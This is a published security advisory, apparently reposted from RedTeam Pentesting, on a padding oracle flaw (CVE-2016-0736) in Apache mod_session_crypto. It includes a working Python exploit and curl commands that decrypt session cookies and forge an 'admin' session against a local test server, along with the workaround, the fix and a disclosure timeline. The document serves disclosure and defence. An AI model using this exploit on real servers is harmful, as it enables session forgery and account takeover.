Apache mod_session_crypt 2.5 Padding Oracle

2016.12.24
Credit: RedTeam
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-310


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

Advisory: Padding Oracle in Apache mod_session_crypto During a penetration test, RedTeam Pentesting discovered a Padding Oracle vulnerability in mod_session_crypto of the Apache web server. This vulnerability can be exploited to decrypt the session data and even encrypt attacker-specified data. Details ======= Product: Apache HTTP Server mod_session_crypto Affected Versions: 2.3 to 2.5 Fixed Versions: 2.4.25 Vulnerability Type: Padding Oracle Security Risk: high Vendor URL: https://httpd.apache.org/docs/trunk/mod/mod_session_crypto.html Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2016-001.txt Advisory Status: published CVE: CVE-2016-0736 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0736 Introduction ============ The module mod_session_crypto of the Apache HTTP Server can be used in conjunction with the modules mod_session and mod_session_cookie to store session data in an encrypted cookie within the users' browsers. This avoids server-side session state so that incoming HTTP requests can be easily distributed amongst a number of application web servers which do not need to share session state. More Details ============ The module mod_session_crypto uses symmetric cryptography to encrypt and decrypt session data and uses mod_session to store the encrypted data in a cookie (usually called "session") within the user's browser. The decrypted session is then made available to the application in an environment variable (in case of a CGI script) or in a custom HTTP request header. The application can add a custom HTTP response header (usually "X-Replace-Session") which instructs the HTTP server to replace the session's content with the value of the header. Detailed instructions to set up mod_session and mod_session_crypto can be found in the documentation: https://httpd.apache.org/docs/2.4/mod/mod_session.html#basicexamples The module mod_session_crypto is configured to use either 3DES or AES with various key sizes, defaulting to AES256. Encryption is handled by the function "encrypt_string": modules/session/mod_session_crypto.c ------------------------------------------------------------------------ /** * Encrypt the string given as per the current config. * * Returns APR_SUCCESS if successful. */ static apr_status_t encrypt_string(request_rec * r, const apr_crypto_t *f, session_crypto_dir_conf *dconf, const char *in, char **out) { [...] apr_crypto_key_t *key = NULL; [...] const unsigned char *iv = NULL; [...] /* use a uuid as a salt value, and prepend it to our result */ apr_uuid_get(&salt); [...] res = apr_crypto_passphrase(&key, &ivSize, passphrase, strlen(passphrase), (unsigned char *) (&salt), sizeof(apr_uuid_t), *cipher, APR_MODE_CBC, 1, 4096, f, r->pool); [...] res = apr_crypto_block_encrypt_init(&block, &iv, key, &blockSize, r->pool); [...] res = apr_crypto_block_encrypt(&encrypt, &encryptlen, (unsigned char *)in, strlen(in), block); [...] res = apr_crypto_block_encrypt_finish(encrypt + encryptlen, &tlen, block); [...] /* prepend the salt and the iv to the result */ combined = apr_palloc(r->pool, ivSize + encryptlen + sizeof(apr_uuid_t)); memcpy(combined, &salt, sizeof(apr_uuid_t)); memcpy(combined + sizeof(apr_uuid_t), iv, ivSize); memcpy(combined + sizeof(apr_uuid_t) + ivSize, encrypt, encryptlen); /* base64 encode the result */ base64 = apr_palloc(r->pool, apr_base64_encode_len(ivSize + encryptlen + sizeof(apr_uuid_t) + 1) * sizeof(char)); [...] return res; } ------------------------------------------------------------------------ The source code shows that an encryption key is derived from the configured password and a randomly chosen salt by calling the function "apr_crypto_passphrase". This function internally uses PBKDF2 to derive the key. The data is then encrypted and the salt and IV prepended to the encrypted data. Before returning to the caller, the result is encoded as base64. This procedure does not guarantee integrity of the ciphertext, so the Apache module is unable to detect whether a session sent back to the server has been tampered with. Depending on the application this often means that attackers are able to exploit a Padding Oracle vulnerability. This allows decrypting the session and encrypting arbitrary data chosen by the attacker. Proof of Concept ================ The vulnerability can be reproduced as follows. First, the modules mod_session, mod_session_crypto and mod_session_cookie are enabled and configured: ------------------------------------------------------------------------ Session On SessionEnv On SessionCookieName session path=/ SessionHeader X-Replace-Session SessionCryptoPassphrase RedTeam ------------------------------------------------------------------------ In addition, CGI scripts are enabled for a folder and the following CGI script is saved as "status.rb" and is made available to clients: ------------------------------------------------------------------------ #!/usr/bin/env ruby require 'cgi' cgi = CGI.new data = CGI.parse(ENV['HTTP_SESSION']) if data.has_key? 'username' puts puts "your username is %s" % data['username'] exit end puts "X-Replace-Session: username=guest&timestamp=" + Time.now.strftime("%s") puts puts "not logged in" ------------------------------------------------------------------------ Once the CGI script is correctly set up, the command-line HTTP client curl can be used to access it: ------------------------------------------------------------------------ $ curl -i http://127.0.0.1:8080/cgi-bin/status.rb HTTP/1.1 200 OK Date: Tue, 19 Jan 2016 13:23:19 GMT Server: Apache/2.4.10 (Ubuntu) Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/ Cache-Control: no-cache Set-Cookie: session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vpLQ l1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU=;path=/ Transfer-Encoding: chunked Content-Type: application/x-ruby not logged in ------------------------------------------------------------------------ The example shows that a new encrypted cookie with the name "session" is returned, and the response body contains the text "not logged in". Calling the script again with the cookie just returned reveals that the username in the session is set to "guest": ------------------------------------------------------------------------ $ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\ LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= \ http://127.0.0.1:8080/cgi-bin/status.rb your username is guest ------------------------------------------------------------------------ Sending a modified cookie ending in "u=" instead of "U=" will invalidate the padding at the end of the ciphertext, so the session cannot be decrypted correctly and is therefore not passed to the CGI script, which returns the text "not logged in" again: ------------------------------------------------------------------------ $ curl -b session=sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4Hztmf0CFsp1vp\ LQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRu= \ http://127.0.0.1:8080/cgi-bin/status.rb not logged in ------------------------------------------------------------------------ This verifies the existence of the Padding Oracle vulnerability. The Python library[1] python-paddingoracle was then used to implement decrypting the session by exploiting the Padding Oracle vulnerability. exploit.py ------------------------------------------------------------------------ from paddingoracle import BadPaddingException, PaddingOracle from base64 import b64encode, b64decode import requests class PadBuster(PaddingOracle): def __init__(self, valid_cookie, **kwargs): super(PadBuster, self).__init__(**kwargs) self.wait = kwargs.get('wait', 2.0) self.valid_cookie = valid_cookie def oracle(self, data, **kwargs): v = b64encode(self.valid_cookie+data) response = requests.get('http://127.0.0.1:8080/cgi-bin/status.rb', cookies=dict(session=v), stream=False, timeout=5, verify=False) if 'username' in response.content: logging.debug('No padding exception raised on %r', v) return raise BadPaddingException if __name__ == '__main__': import logging import sys if not sys.argv[2:]: print 'Usage: [encrypt|decrypt] <session value> <plaintext>' sys.exit(1) logging.basicConfig(level=logging.WARN) mode = sys.argv[1] session = b64decode(sys.argv[2]) padbuster = PadBuster(session) if mode == "decrypt": cookie = padbuster.decrypt(session[32:], block_size=16, iv=session[16:32]) print('Decrypted session:\n%r' % cookie) elif mode == "encrypt": key = session[0:16] plaintext = sys.argv[3] s = padbuster.encrypt(plaintext, block_size=16) data = b64encode(key+s[0:len(s)-16]) print('Encrypted session:\n%s' % data) else: print "invalid mode" sys.exit(1) ------------------------------------------------------------------------ This Python script can then be used to decrypt the session: ------------------------------------------------------------------------ $ time python exploit.py decrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\ Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYBRU= Decrypted session: b'username=guest&timestamp=1453282205\r\r\r\r\r\r\r\r\r\r\r\r\r' real 6m43.088s user 0m15.464s sys 0m0.976s ------------------------------------------------------------------------ In this sample application, the username and a timestamp are included in the session data. The Python script can also be used to encrypt a new session containing the username "admin": ------------------------------------------------------------------------ $ time python exploit.py encrypt sxGTJsP1TqiPrbKVM1GAXHla5xSbA/u4zH/4\ Hztmf0CFsp1vpLQl1DGPGMMyujJL/znsBkkf0f8cXLgNDgsGE9O7pbWnbaJS8JEKXZMYB\ RU= username=admin Encrypted session: sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7zmQ/GLFjF4pcXY real3m38.002s users0m8.536s sys0m0.512s ------------------------------------------------------------------------ Sending this newly encrypted session to the server shows that the username is now "admin": ------------------------------------------------------------------------ $ curl -b session=sxGTJsP1TqiPrbKVM1GAXPZQZNxCxjK938K9tufqX9xDLFciz7\ zmQ/GLFjF4pcXY http://127.0.0.1:8080/cgi-bin/status.rb your username is admin ------------------------------------------------------------------------ Workaround ========== Use a different means to store the session, e.g. in a database by using mod_session_dbd. Fix === Update to Apache HTTP version 2.4.25 (see [2]). Security Risk ============= Applications which use mod_session_crypto usually store sensitive values in the session and rely on an attacker's inability to decrypt or modify the session. Successful exploitation of the Padding Oracle vulnerability subverts this mechanism and allows to construct sessions with arbitrary attacker-specified content. Depending on the application this may completely subvert the application's security. Therefore, this vulnerability poses a high risk. Timeline ======== 2016-01-11 Vulnerability identified 2016-01-12 Customer approved disclosure to vendor 2016-01-12 CVE number requested 2016-01-20 Vendor notified 2016-01-22 Vendor confirmed the vulnerability 2016-02-03 Vendor provided patch 2016-02-04 Apache Security Team assigned CVE number 2016-03-03 Requested status update from vendor, no response 2016-05-02 Requested status update from vendor, no response 2016-07-14 Requested status update and roadmap from vendor 2016-07-21 Vendor confirms working on a new released and inquired whether the patch fixes the vulnerability 2016-07-22 RedTeam confirms 2016-08-24 Requested status update from vendor 2016-08-29 Vendor states that there is no concrete timeline 2016-12-05 Vendor announces a release 2016-12-20 Vendor released fixed version 2016-12-23 Advisory released References ========== [1] https://github.com/mwielgoszewski/python-paddingoracle [2] http://httpd.apache.org/security/vulnerabilities_24.html RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschaftsfuhrer: Patrick Hof, Jens Liebchen


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